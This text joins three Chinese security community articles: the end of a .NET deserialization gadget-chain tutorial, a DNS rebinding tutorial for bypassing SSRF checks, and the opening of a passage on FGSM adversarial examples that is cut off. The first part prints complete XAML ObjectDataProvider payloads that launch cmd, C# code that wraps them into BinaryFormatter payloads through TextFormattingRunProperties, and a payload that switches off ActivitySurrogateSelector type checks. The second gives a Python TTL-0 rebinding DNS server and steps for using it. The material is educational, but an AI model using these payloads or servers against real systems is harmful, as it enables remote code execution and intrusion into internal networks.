LosFormatter 的 Deserializer函数 或者是XamlReader 的Parse 函数，然后将参数替换为LosFormattter 或者
XamlReader 的反序列化漏洞payload。
简单的说，就是在反序列化 XmlSerializer payload（本文的目标） 时，借助ObjectDataProvider 调用
LosFormatter 的反序列化函数，然后把LosFormatter 的反序列化Payload
传给这个函数，然后利用LosFormatter的反序列化漏洞执行代码，XamlReader 方案也是类似。
套娃啊，，，当你看过XamlReader 的反序列化payload后这个感觉会更强烈：
<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" >
<ObjectDataProvider ObjectType = ""{x:Type sd:Process}"" MethodName=""Start"" x:Key=""powershell"">
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c calc</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
很明显，这里XamlReader 的反序列化payload 也使用了ObjectDataProvider工具，确实挺套娃的。整个流程大概如下：
XmlSerializer类 -> Deserizalize方法 -> ObjectDataProvider封装 -> XamlReader类 ->
Parse方法 -> ObjectDataProvider封装 -> Process类 -> start方法 -> calc
在借助ObjectDataProvider 生成payload时，使用XamlReader 与 XmlSerializer 最大不同就是XamlReader
可以序列化Process，所以生成它的payload就更加简单一些。 由于过程类似，这里我们就不再多说，主要是需要了解一下Xaml
语法。下面贴出一种生成Xaml payload的代码（ysoserial.net
中提供了多种方式生成XamlReader的Payload，想要了解的可以自己去看一下）：
static void xamltest()
{
var psi = new ProcessStartInfo();
psi.FileName = "calc";
psi.Arguments = "test";
// 去掉多余的环境变量
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
var p = new Process();
p.StartInfo = psi;
var obj = new ObjectDataProvider();
obj.MethodName = "Start";
obj.IsInitialLoadEnabled = false;
obj.ObjectInstance = p;
XmlWriterSettings settings = new XmlWriterSettings();
settings.Indent = true;
using (XmlWriter writer = XmlWriter.Create("test.xaml", settings))
{
System.Windows.Markup.XamlWriter.Save(obj, writer);
}
string text = File.ReadAllText("test.xaml");
Console.WriteLine(text);
}
看完上面的内容相信你已经可以写出生成XmlSerializer 反序列化Payload 的代码了，这个小任务就留给你自己完成吧。
在实际利用中，XmlSerializer反序列化漏洞的关键点是需要控制XmlSerializer 初始化时传进去的Type类型。
## 四.TextFormattingRunProperties 工具链
> TextFormattingRunProperties 的特点就是将Xaml 的 payload 封装为BinaryFormatter
> 之类序列化器的payload
### 0x10 TextFormattingRunProperties 介绍
TextFormattingRunProperties
类位于命名空间：Microsoft.VisualStudio.Text.Formatting。其在Microsoft.VisualStudio.Text.UI.Wpf.dll
和 Microsoft.PowerShell.Editor.dll 程序集中都有实现，前者需要安装Visual Studio
，而后者则是PowerShell 自带。所以目标环境没有安装VS也是可以使用这个类的。
### 0x20 使用TextFormattingRunProperties 进行封装
使用TextFormattingRunProperties进行封装与我们在《ActivitySurrogateSelectorGenerator
工具链》中提到的AxHost.State 极其相似。原理上就是新建一个类型，借助GetObjectData()
来将源数据封装到TextFormattingRunProperties序列化数据里，下面是一个样例：
[Serializable]
public class PayloadClass : ISerializable
{
string _xamlPayload;
public PayloadClass(string payload)
{
_xamlPayload = payload;
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(TextFormattingRunProperties));
info.AddValue("ForegroundBrush", _xamlPayload);
}
}
代码里我们新建了一个payloadClass
类，其继承于ISerializable。关于该接口，我们在《ActivitySurrogateSelectorGenerator 工具链》
有过详细介绍。该接口定义的GetObjectData() 方法用于在序列化时从对象里提取数据并存储到 SerializationInfo
对象里，然后再使用这个SerializationInfo 对象进行后续的序列化。
在这里的GetObjectData()方法里，我们直接调用SerializationInfo 的 SetType() 和 AddValue()
方法来设置类型和数据。但是我们将类型设置为 TextFormattingRunProperties，并添加了ForegroundBrush
字段，其值设置为xaml Payload。这样做的结果就是，当我们使用BinaryFormatter 去序列化PayloadClass
的实例时，生成的序列化数据和PayloadClass 完全没关系，而是只和我们设置的 TextFormattingRunProperties 类型有关。
下面是进行序列化的代码：
static string GenerateTextFormattingRunPropertiesPayload()
{
string payload =
@"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" >
<ObjectDataProvider ObjectType = ""{x:Type sd:Process}"" MethodName=""Start"" x:Key=""powershell"">
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c calc</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";
var pc = new PayloadClass(payload);
var bfmt = new BinaryFormatter();
var stm = new MemoryStream();
bfmt.Serialize(stm, pc);
return Convert.ToBase64String(stm.ToArray());
}
我们使用《ObjectDataProvider工具链》中提到的Xalm Payload 作为原始Payload，然后用 BinaryFormatter
去序列化 PayloadClass 实例。这样最终序列化出的结果就是 TextFormattingRunProperties封装过的 Xaml
Payload。
但是这样做的理由是什么？
为什么要 用TextFormattingRunProperties 去封装 Xaml Payload？
为什么是 Xaml Payload？
为什么要将原始payload 存放在“ForegroundBrush” 字段中？
### 0x30 TextFormattingRunProperties 反序列化细节
使用以下代码去反序列化上一节生成的payload:
static void TestPayload(string payload)
{
var bfmt = new BinaryFormatter();
var stm = new MemoryStream(Convert.FromBase64String(payload));
bfmt.Deserialize(stm);
}
弹出计算器后会报一个错误，如下：
中间到底发生了什么？我们使用dnspy 调试一下：
发生异常时栈回溯如下：
我们重新调试，单步跟入SerializationInvoke()，发现进入了下面的这个函数：
很明显，这个函数用于在反序列化时重构TextFormattingRunProperties实例，数据都是从SerializationInfo
对象里提取的。重点在于这个 GetObjectFromSerializationInfo() 函数，根据字段名从 info 提取数据。我们进去看看：
这里就很简单了，提取出string 后直接交给XamlReader.Parse() 用于解析。XamlReader.Parse()
函数我们在《ObjectDataProvider工具链》里简单介绍过，借助ObjectDataProvider 的Xaml payload
可以实现代码执行。也就是说，我们在使用BinaryFormatter 反序列化 TextFormattingRunProperties
封装的数据时，最终会落到XamlReader 进行反序列化。所以TextFormattingRunProperties 的作用就是将Xaml Payload
封装为 BinaryFormatter(也包括losformatter、SoapFormatter) Payload，而且由于Xaml
Payload较为短小的特点，生成的TextFormattingRunProperties payload 也是 BinaryFormatter
payload中最短的。这就是我们为什么要使用TextFormattingRunProperties 封装Xaml payload。
那么为什么我们在VS中会报错呢？因为XamlReader.Parse() 解析出来的是一个ResourceDictionary
类型实例，我们将其赋值给Media.Brush 类型的变量，所以会导致报错。
### 0x40 ActivitySurrogateDisableTypeCheck 工具
在《ActivitySurrogateSelectorGenerator 工具链》 一章中我们曾经提到过ActivitySurrogateSelector
从.NET 4.8之后的补丁问题。
Nick Landers 在《[Re-Animating
ActivitySurrogateSelector](https://silentbreaksecurity.com/re-animating-activitysurrogateselector/)》一文中设计了关闭该检查的payload。该payload已被整合到 ysoserial.net
工具中的ActivitySurrogateDisableTypeCheck 部件。这个部件就是利用了TextFormattingRunProperties
来封装Xaml Payload。封装的Xaml payload 如下，用于关闭 类型检查：
string xaml_payload = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:s=""clr-namespace:System;assembly=mscorlib""
xmlns:c=""clr-namespace:System.Configuration;assembly=System.Configuration""
xmlns:r=""clr-namespace:System.Reflection;assembly=mscorlib"">
<ObjectDataProvider x:Key=""type"" ObjectType=""{x:Type s:Type}"" MethodName=""GetType"">
<ObjectDataProvider.MethodParameters>
<s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key=""field"" ObjectInstance=""{StaticResource type}"" MethodName=""GetField"">
<ObjectDataProvider.MethodParameters>
<s:String>disableActivitySurrogateSelectorTypeCheck</s:String>
<r:BindingFlags>40</r:BindingFlags>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key=""set"" ObjectInstance=""{StaticResource field}"" MethodName=""SetValue"">
<ObjectDataProvider.MethodParameters>
<s:Object/>
<s:Boolean>true</s:Boolean>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key=""setMethod"" ObjectInstance=""{x:Static c:ConfigurationManager.AppSettings}"" MethodName =""Set"">
<ObjectDataProvider.MethodParameters>
<s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String>
<s:String>true</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>"
我们使用TextFormattingRunProperties 封装上述Xaml Payload 后，就生成了一个新的payload。该Payload
可以使用BinaryFormatter 进行反序列化，作用就是将
AppSettings.DisableActivitySurrogateSelectorTypeCheck
标志设置为True。这样的话，对于类似BinaryFormatter 反序列化漏洞的地方，我们就可以先用一个payload
关闭类型检查，再用ActivitySurrogateSelector 的payload 实现代码执行了。
但是，如果你用ysoserial.net 的 ActivitySurrogateDisableTypeCheck
部件生成payload，你还是会遇到前面说的报错的问题。如果因为这个报错导致你无法继续下去怎么办？还记得我们在《ActivitySurrogateSelectorGenerator
工具链》中提到过的AxHost.State 吗，其作用就是将BinaryFormatter 格式的payload 封装一下，用于遮掩原来payload
在反序列化时的异常。所以你可以用AxHost.State 把生成的 ActivitySurrogateDisableTypeCheck payload
再封装一次，这样在关闭类型检查的时候就不会报错了。
## 五.附录：
[1] 工具链原作者 James Forshaw 文章:
<https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html>
[2] 微软官方文档 标准查询运算符概述
<https://docs.microsoft.com/zh-cn/dotnet/csharp/programming-guide/concepts/linq/standard-query-operators-overview>
[3] 《Re-Animating ActivitySurrogateSelector》
<https://silentbreaksecurity.com/re-animating-activitysurrogateselector/>
[4] 使用XmlInclude或SoapInclude属性来指定静态未知的类型
<https://www.ozkary.com/2012/11/the-type-was-not-expected-use.html>
[5] WPF之Binding深入探讨
<https://blog.csdn.net/fwj380891124/article/details/8107646>
* * * | 社区文章 |
# 从0到1认识DNS重绑定攻击
## 0x0 前言
很早之前，就对此做过一番琐碎的学习，但是最近在应用的时候，发现自己并不是很熟练，对漏洞的检测思路及其攻击思路没有一套系统的模型，故对此进行系统的总结，让更多人认识这种差异性同步攻击。
## 0x1 DNS绑定机制
了解DNS重绑定机制之前，我们先认识下DNS、DNS记录类型、DNS绑定技术。
1. **DNS**
> DNS(Domain Name
> Service)、计算机域名服务器,是[互联网](https://zh.wikipedia.org/wiki/互联网)的一项服务。它作为将[域名](https://zh.wikipedia.org/wiki/域名)和[IP地址](https://zh.wikipedia.org/wiki/IP地址)相互[映射](https://zh.wikipedia.org/wiki/映射)的一个[分布式数据库](https://zh.wikipedia.org/wiki/分布式数据库)，能够使人更方便地访问[互联网](https://zh.wikipedia.org/wiki/互联网)。DNS使用[TCP](https://zh.wikipedia.org/wiki/传输控制协议)和[UDP](https://zh.wikipedia.org/wiki/用户数据报协议)[端口](https://zh.wikipedia.org/wiki/TCP/UDP端口列表)53[[1]](https://zh.wikipedia.org/wiki/域名系统#cite_note-1)。当前，对于每一级域名长度的限制是63个字符，域名总长度则不能超过253个字符。开始时，域名的字符仅限于[ASCII](https://zh.wikipedia.org/wiki/ASCII)字符的一个子集。2008年，[ICANN](https://zh.wikipedia.org/wiki/ICANN)通过一项决议，允许使用其它语言作为互联网顶级域名的字符。使用基于[Punycode](https://zh.wikipedia.org/wiki/Punycode)码的[IDNA](https://zh.wikipedia.org/wiki/IDNA)系统，可以将[Unicode](https://zh.wikipedia.org/wiki/Unicode)字符串映射为有效的DNS字符集。因此，诸如“XXX.中国”、“XXX.美国”的域名可以在地址栏直接输入并访问，而不需要安装插件。但是，由于英语的广泛使用，使用其他语言字符作为域名会产生多种问题，例如难以输入，难以在国际推广等。
小概念简单地说,DNS的存在就是为了域名解析，DNS绑定的效果就是在DNS中将域名请求解析为相应的服务器IP地址请求,好处就是人们访问服务器的时候，不需要背枯燥的32位IPv4的地址，而是可以大众化的单词，相当有含义和方便。
那么域名解析是什么呢?
> 举一个例子， _zh.wikipedia.org_ 作为一个域名就和IP地址 _198.35.26.96_
> 相对应。DNS就像是一个自动的电话号码簿，我们可以直接拨打 _198.35.26.96_ 的名字 _zh.wikipedia.org_
> 来代替电话号码（IP地址）。DNS在我们直接调用[网站](https://zh.wikipedia.org/wiki/网站)的名字以后就会将像
> _zh.wikipedia.org_ 一样便于人类使用的名字转化成像 _198.35.26.96_ 一样便于机器识别的IP地址
1. **DNS的记录类型**
> * 主机记录(A记录):A记录是用于名称解析的重要记录，它将特定的主机名映射到对应的主机IP上
> * 别名记录(CNAME记录):CNAME记录用于将某个别名指向到某个A记录上,这就就不需要再为某个新名字创建一条新纪录。
> *
> 名称服务器记录(NS):委托DNS区域使用已提供的权威域名服务器,用来指定该域名由那个DNS服务器来解析,后面谈一下DNSLog的开发思路会涉及这个。
>
>
> ...更多参考:[DNS记录类型列表](\[https://zh.wikipedia.org/wiki/DNS%E8%AE%B0%E5%BD%95%E7%B1%BB%E5%9E%8B%E5%88%97%E8%A1%A8\]\(https://zh.wikipedia.org/wiki/DNS记录类型列表))
2. **DNS绑定技术**
[域名系统技术实现](\[https://zh.wikipedia.org/wiki/%E5%9F%9F%E5%90%8D%E7%B3%BB%E7%BB%9F#%E6%8A%80%E6%9C%AF%E5%AE%9E%E7%8E%B0\]\(https://zh.wikipedia.org/wiki/域名系统#技术实现))
这里我可以简单叙述上关键的点。
(1)DNS区域是一个层次结构的空间, 根域名服务器->子域名服务器->二代子域名服务器
(2)DNS查询方式: **递归** 和 **迭代**
递归一般指的是查
> 以查询 zh.wikipedia.org 为例：
>
> * 客户端发送查询报文"query zh.wikipedia.org"至DNS服务器，DNS服务器首先检查自身缓存，如果存在记录则直接返回结果。
> * 如果记录老化或不存在，则：
> 1. DNS服务器向[根域名服务器](https://zh.wikipedia.org/wiki/根網域名稱伺服器)发送查询报文"query
> zh.wikipedia.org"，根域名服务器返回[顶级域](https://zh.wikipedia.org/wiki/頂級域) .org
> 的权威域名服务器地址。
> 2. DNS服务器向 .org 域的权威域名服务器发送查询报文"query
> zh.wikipedia.org"，得到[二级域](https://zh.wikipedia.org/wiki/二级域) .wikipedia.org
> 的权威域名服务器地址。
> 3. DNS服务器向 .wikipedia.org 域的权威域名服务器发送查询报文"query zh.wikipedia.org"，得到主机
> zh 的A记录，存入自身缓存并返回给客户端。
这里我们需要注意的是,DNS的返回结果是可以由DNS服务器自己来决定的，
所以说我可以可以编写一个DNS服务器来控制指定域名的解析IP,而且还可以控制TTL值。
## 0x2 域名解析过程
**1\. 认识DNS TTL**
TTL(Time To Live)、生存时间,它表示DNS记录在DNS服务器上缓冲的时间,数值越小,修改记录各地生效的时间越快。
>
> 当各地的DNS(LDNS)服务器接受到解析请求时，就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录；该解析记录会在DNS(LDNS)服务器中保存一段时间，这段时间内如果再接到这个域名的解析请求，DNS服务器将不再向授权DNS服务器发出请求，而是直接返回刚才获得的记录；而这个记录在DNS服务器上保留的时间，就是TTL值。
这个值对于重绑定攻击来说是相当重要的,至于为什么重要，我们需要先了解下域名解析的流程。
### 0x2.1 请求域名解析
这里简单介绍第一种路径:
(1) **浏览器发起的请求**
> 1.浏览器搜索自身的DNS缓存,命中则解析，否则继续下一步
>
> 查看google浏览器的缓存记录
>
> `[chrome://net-internals/#dns](chrome://net-internals/#dns)`
>
> 2.浏览器搜索操作系统自身的DNS缓存,如果找到且没有过期(TTL值),则解析结束,否则下一步。(这一步很重要,TTL值在这里起决定是否下一步)
>
> 3.尝试读取hosts文件(跟本文不重要,忽略),假设没找到，继续下一步
>
> 4.浏览器发起NDS系统调用,迭代过程如下
>
> 运营商dns`-->`根域名服务器`-->`顶级域名服务器`-->`我们设置NS域名服务器。(这一步很重要,我们可以递归向下设置TTL的值)
>
> 5.找到IP地址后,建立对应的TCP链接,开始通信。
其实域名解析过程实际很复杂，不同的服务架构会自动缓存结果,并且有默认的TTL值,这个会影响DNS重绑定攻击的结果。
(2) **SSRF发起的请求**
直接由对应的服务`curl`等程序跨过浏览器直接发起的请求,跟上面相比，就是少了第一步,浏览器缓存的查询过程。
## 0x3 DNS重绑定(DNS Rebinding)
首先,了解下概念
> 当我们发起域名解析请求的时候,第一次访问会返回一个ip地址A,但是当我们发起第二次域名解析请求的时候,却会返回一个不同于A的ip地址B。
>
> 比如我们直接,
>
> curl www.ak.com 然后获得解析的ip为
> 111.230.x.x,将其认定为外网ip,给予同行，但是程序为了考虑一些cdn的因素，第二次请求判断的时候不会取第一个解析结果的ip，
>
> 那么第二次照样是 curl
> www.ak.com,这个时候我们可以在这个短暂的第一次和第二次的间隔里面控制第二次的解析ip为127.0.0.1,从而实现访问内网的应用，实现重绑定攻击。
如何控制域名解析到不同的IP的实现思路，就是编写自己可控的DNS服务器，并将其TTL设置为0或者极小值，动态控制域名解析的IP地址。
这种攻击思路是基于:
这种SSRF防御思路的基础上的,检查逻辑是第一次DNS查询请求确定host是不是内网IP,第二次请求的时候存在一个小间隔,导致了解析的差异性。
## 0x4 Python构建DNSLogger
首先我们需要拥有一个域名:
这样我们访问`*.log.lovectfer.top`的域名时候,就会去到ns1,然后对我们的服务器发起DNS
Query查询请求,53端口UDP协议的请求,所以阿里云的还需要进行配置下放行该DNS查询使用的53端口。
接着我们可以来编写一个DNS服务器了,最好跟着笔者一起动手来写写，深入理解下这个DNS解析过程,顺便掌握一些Python网络编程的库用法，提高自己后期的开发能力.
Python 模块化开发思路
`pip3 install dnspython3`
`pip3 install dnslib`
采用dnsPython3 、dnslib的库
# /usr/bin/python3
# -*- coding:utf-8 -*- # 功能:
# 1.记录发往当前服务器的DNS请求
from dns.resolver import Resolver
from dnslib import DNSRecord, QTYPE, RD, SOA, DNSHeader, RR, A
import time
import logging
import socket
# 设置日志配置
logging.basicConfig(filename='dnslogger.log',level=logging.DEBUG, format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
# 设置转发公共DNS
dns_resolver = Resolver()
dns_resolver.nameservers = ["8.8.8.8", "114.114.114.114"]
# 转发域名解析请求
def reply_normal(sck, record, address):
header = DNSHeader(id=record.header.id, bitmap=record.header.bitmap, qr=1)
header.set_rcode(0) # 3 DNS_R_NXDOMAIN, 2 DNS_R_SERVFAIL, 0 DNS_R_NOERROR
response = DNSRecord(header, q=record.q)
logging.info("Forwarding request to public dns")
sck.sendto(response.pack(), address)
logging.info("ok,Forwarded request to public dns")
def dns_handler(request, address, count):
try:
record = DNSRecord.parse(request)
except:
logging.error('from %s, parse error' % address)
return
try:
reqType = QTYPE.get(record.q.qtype)
except:
reqType = 'unknow'
domain = str(record.q.qname).strip('.')
# 转发DNS查询请求
if count%3 == 0:
reply_normal(sck, record, address)
count += 1
return domain, reqType
if __name__ == '__main__':
# 建立socket对象
sck = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 及时释放端口
sck.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, True)
# 绑定53端口
sck.bind(('0.0.0.0', 53))
# 设置请求次数,超过3次就进行转发,方便查看
count = 0
logging.info("Now,DnsLogger working...")
print("Now,DnsLogger working...")
while True:
# 发送方的数据,发送方的IP
request, address = sck.recvfrom(1024)
try:
count += 1
# 解析DNS请求
domain, reqType = dns_handler(request, address, count)
print(f"[{time.asctime()[11:19]}] [{domain}] from [{address[0]}] with type [{reqType}]")
logging.info(f"[[{domain}] from [{address[0]}] with type [{reqType}]")
except KeyboardInterrupt:
logging.error("KeyBoardInterrupt triggered,stopping")
sck.close()
break
except Exception as e:
logging.error(e)
print(e)
代码非常精简,能够实现拦截DNS解析的记录,并且进行记录到`dnslogger.log`文件,并且在拦截3次请求的时候,进行转发到公共域名执行正常的解析。
PS.小提示
本地测试脚本的时候,我们可以采用
`dig lovectfer.top @127.0.01 -p 55`
通过调用本地的DNS服务器来解析非标准端口
`kill -9 $(lsof -i:55 -t)`
这条命令方便我们快速杀死相关进程。
## 0x5 Python实现DNS重绑定攻击
上面那个脚本,我只是转发了请求,并没有控制返回包的内容,而我们如果要实现DNS重绑定攻击的话,我们必须用脚本来控制TTL的值为0,才能实现这个攻击,这个对程序的速度有一定要求,这里我就以一些经典的脚本来分析下。
看了下别人的,发现代码emm,比我精简的很多,还能学习下`twisted`库的用法,喝了而不为呢。
#/usr/bin/python2
# -*- coding:utf-8 -*- from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name]<1:
ip="104.160.43.154"
else:
ip="171.18.0.2"
if name not in record:
record[name]=0
record[name]+=1
print name+" ===> "+ip
answer = dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
ttl=0, # 这里设置DNS TTL为 0
payload=dns.Record_A(address=b'%s'%ip,ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
raise SystemExit(main())
这里通过RECORD字典来判断,脚本监听开始第一次请求该DNS服务器,则解析到内网IP,之后第二次、第三次等请求解析到外网IP实现绕过。
别人的域名解析配置是:
记录类型 | 主机记录 | 解析线路 | 记录值 | MAX优先值 | TTL
---|---|---|---|---|---
NS | test | 默认 | ns.test.site | - | 10分钟
A | NS | 默认 | 104.160.43.154 | - | 10分钟
我的话是采用`cloudflare`的DNS解析服务,
问题不大,跑起来看下效果怎么样。
在服务器运行前,先安装好Python的库依赖
`pip install twisted`
1.MAC下测试
for ((i=1;i<=10;i++))
dig @8.8.8.8 log.lovectfer.top;
2.Ubuntu下测试
for((i=1;i<=10;i++))
do
dig @8.8.8.8 log.lovectfer.top;
done
MAC是失败的
Linux 系统是可以的。
## 0x6 简单介绍攻击思路
其实和常规SSRF没啥区别,这只是绕过SSRF一个黑名单检测的思路,该怎么利用就怎么利用。
那么绕过的攻击过程,可以介绍我的一点小技巧。
> 1.首先是看服务器是否能发起DNS请求,用我第四节的脚本进行探测
>
> 2.如果确定可以发起请求,那么再用第五节的脚本进行绕过即可,可以尝试几次,设置绕过的外网IP是HTTP Logger之类的,可以帮助我们查看是否成功了
## 0x7 浅析下防御思路
当时群里有人在询问DNS重绑定攻击的防御思路，这里我就抛出一些自己浅显的看法，欢迎师傅们提出更多的见解。
**局限性:**
1. 时间窗口问题
> DNS
> 缓存的问题。即使我们在前面实现的时候设置了TTL为0，但是有些公共DNS服务器，比如114.114.114.114还是会把记录进行缓存，完全不按照标准协议来，遇到这种情况是无解的。但是8.8.8.8是严格按照DNS协议去管理缓存的，如果设置TTL为0，则不会进行缓存。
2. DNS缓存机制
> Linux dns默认不缓存,windows and mac,为了加快http访问速度,系统会进行DNS缓存
3. 应用环境问题
> (1) java默认失败
>
> Java 应用的默认 TTL 为10s，这个默认配置会导致 DNS Rebinding 绕过失败
>
> 测试的时候可以修改配置:
>
> >
> java.security.Security.setProperty("networkaddress.cache.negative.ttl" ,
> "0");
>
>
> (2)PHP 默认TTL为0,可以攻击
其实这个漏洞局限性还是很大的,但是如果能确认发起DNS请求,针对性大量请求还是能提高命中的概率。
那么这种攻击有什么办法解决呢？
小弟就来丢一个完美的解决的方案？
> 原理:
>
> 通过控制2次的DNS查询请求的间隔低于TTL值,确保两次查询的结果一致。
>
> 技术实现:
>
> 所以代码写一个请求判断,Linux系统修改默认的TTL值为10,即可很轻松解决这个问题。
## 0x8 寻找小伙伴
我想基于BugScan的DNSLOG进行二次开发,搭建一个集成XSS、DNSLogger、HTTPLogger、重绑定攻击模块、内网穿透模块、文件服务、自定义JS的系统,比如P神的coNote?
我开发能力太弱了, 这个项目一直再拖，希望有大佬带带我。
## 0x9 参考链接
[浅谈DNS重绑定漏洞](https://zhuanlan.zhihu.com/p/89426041)
[写一个 DNS 服务器](http://python.quanduan.com/post/dns-fu-wu-qi/ji-chu/xie-yi-ge-dns-fu-wu-qi)
[DNS Rebinding 攻击绕过 ssrf
限制](http://blog.leanote.com/post/snowming/e2c24cf057a4)
[Use DNS Rebinding to Bypass SSRF in Java](https://paper.seebug.org/390/) | 社区文章 |
# 对抗样本攻防实战
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
对抗样本大家都耳熟能详了，但是大家可能觉得离自己比较远，毕竟主要是学术界在做这方面的工作，可能还需要很多数学理论基础，所以没有尝试动手实践过。在本文中，不会提及高深的数学理论，唯一的公式也仅是用于形式化描述攻击方案，并不涉及任何数学概念，同时以代码为导向，将论文中提出的方案进行实践，成功实施对抗样本攻击，之后给出了典型的防御方案，即对抗训练，同样也是以实战为导向，证明防御方案的有效性。对抗样本领域的研究正热火朝天，本文提及的攻击和防御方案并不是最优的，希望感兴趣的师傅们看了本文后，能够不再对该领域抱有排斥心理，加入对抗样本的研究队伍中来，为AI安全贡献自己的力量。
## 模型搭建及评估
本次我们使用的数据集是Fashion MNIST。Fashion-MNIST是一个替代MNIST手写数字集的图像数据集。
它是由Zalando（一家德国的时尚科技公司）旗下的研究部门提供。其涵盖了来自10种类别的共7万个不同商品的正面图片。Fashion-MNIST的大小、格式和训练集/测试集划分与原始的MNIST完全一致。60000/10000的训练测试数据划分，28×28的灰度图片.
数据集大致如下所示
上图中每一类有3行，10个类别分别是T-shirt/top’, ‘Trouser’, ‘Pullover’, ‘Dress’,
‘Coat’,’Sandal’, ‘Shirt’, ‘Sneaker’, ‘Bag’, ‘Ankle boot’
首先加载数据集
我们需要简单的对数据集预处理，给其添加一个channel维度，否则卷积层不能正常工作，还需要将像素值缩放到[0,1]范围
接下来打印出实际加载的样本看看
因为图片是灰度图像，所以输入的shape定义如下
接下来搭建一个CNN模型，架构如下
使用summary方法输出各层的参数状况
设置优化器、损失函数、batch size等超参数
我们再定义一个辅助函数，用于绘出训练过程相关度量指标的变化
接下来开始训练模型
使用前面定义的绘图函数画出模型训练过程的指标的变化情况
评估模型在测试集上的性能
上图打印出的classification report，这个怎么看呢
列表左边的一列为分类的标签名
右边的第一行中，precision recall f1-score三列分别为各个类别的精确度、召回率及F1
值．support是某类别在测试数据中的样本个数；
accuracy表示准确率，也即正确预测样本量与总样本量的比值；macro avg表示宏平均，表示所有类别对应指标的平均值，而weighted
avg带权重平均，表示类别样本占总样本的比重与对应指标的乘积的累加和。
从上面的classification report可以看到模型在测试集上的表现还是不错的
而打印出的混淆矩阵如下
混淆矩阵是机器学习中总结分类模型预测结果的情形分析表，以矩阵形式将数据集中的记录按照真实的类别与分类模型预测的类别判断两个标准进行汇总。其中矩阵的行表示真实值，矩阵的列表示预测值。
我们以第一行为例，样本的真实类别为t-shirt,在分类结果里，有862个样本被正确分类，有16个样本被错误分类到pullover,有15个样本被错误分类到dress，有3个样本被错误分类到coat，有96个样本被错误分类到shirt，有8个样本被错误分类到bag
如果只要看有每个类别分别由多少样本被正确分类，则只需要看对角线即可。每一类总共是1000个测试样本，而t-shirt有862个被正确分类，trouser有975个被正确分类，以此类推。从混淆矩阵可以更具体看出测试样本是被错误分到了哪一类。
## 对抗攻击
对抗样本可能或多或少都有听说过，它是通过对数据集中的样本应用较小但蓄意的会导致最坏情况的扰动而形成的输入，因此，被扰动的输入导致模型以高置信度输出错误的答案。
我们本次来实践最经典的对抗样本攻击方案—FGSM，下面这张图片大家应该都看过，它正是出自于提出FGSM的论文
从熊猫图像开始，攻击者在原始图像上添加小扰动，结果模型将此图像预测为长臂猿。
那么FGSM攻击是如何实现的呢？或者说攻击中添加的扰动是怎么来的呢？
我们知道训练分类模型时，网络基于输入图像学习特征，然后经过softmax层得到分类概率，接着损失函数基于分类概率和真实标签计算损失值，回传损失值并计算梯度（也就是梯度反向传播），最后网络参数基于计算得到的梯度进行更新，网络参数的更新目的是使损失值越来越小，这样模型分类正确的概率也就越来越高。
对抗样本攻击的目的是不修改分类网络的参数，而是通过修改输入图像的像素值使得修改后的图像能够扰乱分类网络的分类，那么根据前面提到的分类模型的训练过程，可以将损失值回传到输入图像并计算梯度，也就是下式
其中， θ 是模型的参数，x 是模型的输入，y 是与 x 关联的类别，J (θ, x, y) 是用于训练神经网络的损失函数。
接下来可以通过sign()函数计算梯度的方向，sign()函数是用来求数值符号的函数，比如对于大于0的输入，输出为1，
对于小于0的输入，输出为-1，对于等于0的输入，输出为0。之所以采用梯度方向而不是采用梯度值是为了控制扰动的距离.
常规的分类模型训练在更新参数时都是将参数减去计算得到的梯度，这样就能使得损失值越来越小，从而模型预测对的概率越来越大。既然对抗攻击是希望模型将输入图像错分类成错误类别，那么要求损失值越来越大，也就是模型预测的概率中对应于真实标签的概率越小越好，这和原来的参数更新目的正好相反。因此只需要在输入图像中加上计算得到的梯度方向，这样修改后的图像经过分类网络时的损失值就比修改前的图像经过分类网络时的损失值要大，换句话说，模型预测对的概率变小了。此外我们还需要用来控制扰动的程度，确保扰动足够小。所以，扰动的式子如下
将扰动加到原样本上就得到了对抗样本，如下所示
